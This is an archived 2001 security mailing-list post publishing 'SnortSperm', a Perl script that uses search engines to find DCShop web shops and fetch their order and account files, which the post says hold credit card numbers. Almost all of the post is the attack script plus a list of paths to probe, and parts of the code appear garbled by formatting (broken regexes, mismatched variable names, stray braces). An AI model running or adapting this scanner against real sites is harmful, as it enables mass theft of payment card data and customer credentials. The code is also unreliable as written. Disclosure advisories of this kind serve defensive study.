

# [TOOL] SnortSperm, a DCShop Order and Account Scanner

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2001-08/0042.html>

---

*From:* [support@securiteam.com](mailto:support@securiteam.com)

*Date:* 08/06/01

From: [support@securiteam.com](mailto:support@securiteam.com)

To: [list@securiteam.com](mailto:list@securiteam.com)

Subject: [TOOL] SnortSperm, a DCShop Order and Account Scanner

Message-Id: <20010806134422.305B313903@mail.der-keiler.de>

Date: Mon, 6 Aug 2001 15:44:22 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

SnortSperm, a DCShop Order and Account Scanner

---

## DETAILS

The following program will search the Internet (using popular search engines) for vulnerable installations of DCShop. When it finds one, it will try and grab the order and account files (they contain both order details and credit card numbers).

Exploit Code:

```
--- ss.pl ---
```

```
#!/usr/bin/perl
```

```
#
```

```
# SnortSperm v1.1, a DCShop (Web shopping cart system) order and account scanner
```

```
# by darkman, with help of antistar and bs14
```

```
# A proof of concept
```

```
#
```

```
# Users running windows have to download and install ActivePerl from
```

```
# www.activeperl.com, and run the script from the MS-DOS Prompt by typing:
```

```
#
```

```
# perl\bin\perl <path of ss.pl>\ss.pl
```

```
#
```

```
# I'd like to thank Peter Helms for publishing the information regarding this
```

```
# exploit.
```

```
#
```

```
# E-mail: darkman@coderz.net
```

## Hypermail Development List: [TOOL] SnortSperm, a DCShop Order a

```
# Homepage: www.coderz.net/darkman

use LWP::Simple;
use LWP::UserAgent;
my $ua=new LWP::UserAgent;

# flush stdout (so we get 'in progress' messages)
$|=1;

# fake useragent
$ua->agent("Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)");

# hash arrays
my %unique_urls;
my %unique_sites;
my %flatfiles;
my %pathfiles;
my %additional_paths;
my %vulnerable_sites;

# scanning using search engine
sub scan_search_engine {
    $url = shift;

    print STDERR " ";
    @urls = split /\n/, get($url);
    for (@urls) {
        if (/ $link/) {
            $1 =~ /(.* )\.*$/;

            $_ = $1;
            path_traversal();
        }
        scan_search_engine("$search_engine_url$1") if (/ $next/);
    }
}

# path traversal
sub path_traversal {
    $_ = "http://$_" if (not /:\ \\/\);
    @split_url = split /\//, $_;
    $unique_sites{$split_url[2]} = $split_url[2];

    additional_urls() if ((scalar keys %additional_paths!=0) && ($_ ne ""));

    while (not /:\ \\/\ ) {
        $unique_urls{$_}=$_;
        $_ = substr $_,0,rindex $_,"/";
    }
}
```

```

# additional urls
sub additional_urls {
  foreach $path (keys %additional_paths) {
    if ($path =~ /^\/) {
      $unique_urls{"$split_url[0]//$split_url[2]$path"} =
"$split_url[0]//$split_url[2]$path";
    } else {
      $unique_urls{"$url/$path"} = "$url/$path";
    }
  }
}

# scan url
sub scan_url {
  $first_try = shift;
  $second_try = shift;

  $url_ = "$url/$first_try";

  print STDERR "Trying $url_\n";

  $page = get($url_);
  @lines = split /\x0d/, $page;
  if ((@lines+0 == 0) || ($lines[0] =~ /^</) || ($lines[0] =~ /^ </) ||
($lines[0] =~ /^<\n</)) {
    $url_ = "$url/$second_try";

    print STDERR "Trying $url_\n";

    $page = get($url_);
    @lines = split /\x0d/, $page;
  }
  if ((@lines+0 > 0) && (not $lines[0] =~ /^</) && (not $lines[0] =~ /^
</) && (not $lines[0] =~ /^<\n</)) {
    print "$url_\n\n";

    for (@lines) {
      $occurrences = ($_ =~ tr///);
      $max_occurrences = $occurrences if ($occurrences >
$max_occurrences);

      if (/^<\n</) {
        print "\n";
        last;
      }
      print "$_";
    }
    $vulnerable_sites{"$stripped_url$filename"}=true;

    print "\n";
    print "\n" if ($occurrences == 1);
  }
}

```

## Hypermail Development List: [TOOL] SnortSperm, a DCShop Order a

```
    print STDERR "Success.\n";
  }
}

# check arguements
foreach $opt (@ARGV) {
  $proxyserver = $1 if ($opt =~ "proxy=(.*)");
  $proxyport = $1 if ($opt =~ "port=(.*)");
  $altavista = 1 if ($opt eq "altavista");
  $google = 1 if ($opt eq "google");
  $lycos = 1 if ($opt eq "lycos");
  $nbcu = 1 if ($opt eq "nbcu");
  $netscape = 1 if ($opt eq "netscape");
  $yahoo = 1 if ($opt eq "yahoo");
  $flatfiles{$1} = $1 if ($opt =~ "flatfile=(.*)");
  $pathfiles{$1} = $1 if ($opt =~ "pathfile=(.*)");
}

print STDERR "SnortSperm v1.1, a DCShop (Web shopping cart system) order
and account scanner\n";

# show options if no valid arguements were found
if (!(($altavista or $google or $lycos or $nbcu or $netscape or $yahoo) &&
(scalar keys %flatfiles==0)) {
  print STDERR "usage: ./ss.pl <options>\n\nproxy=<proxyserver> for
scanning using a proxy server\nport=<proxyport> for specifying proxy port
(default proxy port is 8080)\naltavista for scanning using
AltaVista\nngoogle for scanning using Google\nlycos for scanning using
Lycos\nnbcu for scanning using NBCi (use additional paths with this
option)\nnetscape for scanning using Netscape Search\nnyahoo for scanning
using Yahoo!\nflatfile=<filename> for scanning using a flat
file\npathfile=<filename> for additional paths\n\noptions can be
combined";

  exit;
}

# load additional paths
foreach $pathfile (keys %pathfiles) {
  if ($pathfile ne "") {
    open(FH, $pathfile);
    while (<FH>) {
      chomp;
      $_ = $1 if (/(.*)\$/);

      $additional_paths{$_}=$_ if ($_ ne "");
    }
  }
}
}
```

## Hypermail Development List: [TOOL] SnortSperm, a DCShop Order a

```
# scan through a proxy (insert proxyserver and port)
if ($proxyserver) {
    $proxyport = 8080 if (!$proxyport);

    print STDERR "using $proxyserver:$proxyport as proxy\n";

    $sua->proxy('http',"$proxyserver:$proxyport");
}

# scanning using selected search engines
if ($altavista) {
    print STDERR "\nScanning using AltaVista";

    $search_engine_url = "http://www.altavista.com";
    $link = "status=([^\"]*)";
    $next = "a href=\"([^\"]+).*\[Next\"";

    scan_search_engine("$search_engine_url/sites/search/web?q=DCShop&pg=q&kl=XX");
}
if ($google) {
    print STDERR "\nScanning using Google";

    $search_engine_url = "http://www.google.com";
    $link = "<p><A HREF=([^\"]*)\"";
    $next = "A HREF=([^\"]+).*<b>Next<\/b>\"";
    scan_search_engine("$search_engine_url/search?q=DCShop");
}
if ($lycos) {
    print STDERR "\nScanning using Lycos";

    $search_engine_url = "http://www.lycos.co.uk";
    $link = "<b><a href=\"([^\"]*)\"";
    $next = "A HREF=([^\"]+).*<B>Forward<\/B>\"";

    scan_search_engine("$search_engine_url/cgi-bin/pursuit?matchmode=and&mtemp=main&etemp=error&query=DCS");
}
if ($nbc) {
    print STDERR "\nScanning using NBCi";

    $search_engine_url = "http://www.goto.com";
    $link = "<em>([^\"]*)\"";
    $next = "a href=\"([^\"]+).*<b>More\"";

    scan_search_engine("$search_engine_url/d/search/p/nbc/?Keywords=DCShop");
}
if ($netscape) {
    print STDERR "\nScanning using Netscape Search";

    $search_engine_url = "http://search.netscape.com";
    $link = "size=\"1\">([^\"]*)\"";
    $next = "a href=\"([^\"]+).*next>>\"";
```

## Hypermail Development List: [TOOL] SnortSperm, a DCShop Order a

```
scan_search_engine("$search_engine_url/search.psp?cp=nsikwphopNetscape&charset=UTF-8&search=DCShop");
}
if ($yahoo) {
    print STDERR "\nScanning using Yahoo!";

    $search_engine_url = "http://google.yahoo.com";
    $link = "#006600>([^&]*)";
    $next = "a href=\"([^\"]+).*Next 20 ";
    scan_search_engine("$search_engine_url/bin/query?p=DCShop&hc=0&hs=0");
}
# scanning using flat file(s)
foreach $flatfile (keys %flatfiles) {
    if ($flatfile ne "") {
        print STDERR "\nScanning using flat file: $flatfile";

        open(FH, $flatfile);
        while (<FH>) {
            chomp;
            $_ = $1 if (/(.*)\$/);

            path_traversal();
        }
    }
}

# show number of sites found
$total_urls = 4*scalar keys %unique_urls;
$total_sites = scalar keys %unique_sites;
print STDERR "\nFound $total_urls URLs at $total_sites sites to scan\n";

# scan for vulnerable sites
foreach $url (sort(keys %unique_urls)) {
    @split_url = split /\//, $url;
    $stripped_url = "$split_url[0]//$split_url[2]";

    if ($current_url ne $stripped_url) {
        $current_url = $stripped_url;
        print STDERR "\n";
    }
    $filename = "/orders.txt";
    scan_url("Orders$filename","orders$filename") if
(!$vulnerable_sites{"$stripped_url$filename"});
    $filename = "/auth_user_file.txt";
    scan_url("Auth_data$filename","auth_data$filename") if
(!$vulnerable_sites{"$stripped_url$filename"});
}

--- paths.txt ---
/cgi-bin/DCShop
/cgi_bin/DCShop
```

Hypermail Development List: [TOOL] SnortSperm, a DCShop Order a

/cgi-bin/dcshop  
/cgi\_bin/dcshop  
/cgibin/DCShop  
/cgibin/dcshop  
/cgi-bin/shop  
/cgi\_bin/shop  
/cgibin/shop  
/shop/DCShop  
/shop/dcshop  
/shopping  
/cgi-bin  
/cgi\_bin  
/cgibin  
/DCShop  
/dcshop  
/mall  
/shop  
/DC  
/dc

ADDITIONAL INFORMATION

The information has been provided by <mailto:[auto91991@hushmail.com](mailto:auto91991@hushmail.com)>  
Sandra.

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:  
[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)  
In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====  
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.  
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

- 
- **Next message:** [support@securiteam.com](mailto:support@securiteam.com): "[UNIX] phpBB Security Hole Leads to Root Compromise"
  - **Previous message:** [support@securiteam.com](mailto:support@securiteam.com): "[NT] Security Flaw in Indentix BioLogon Client for Windows"
  - **Messages sorted by:** [\[ date \]](#) [\[ thread \]](#) [\[ subject \]](#) [\[ author \]](#) [\[ attachment \]](#)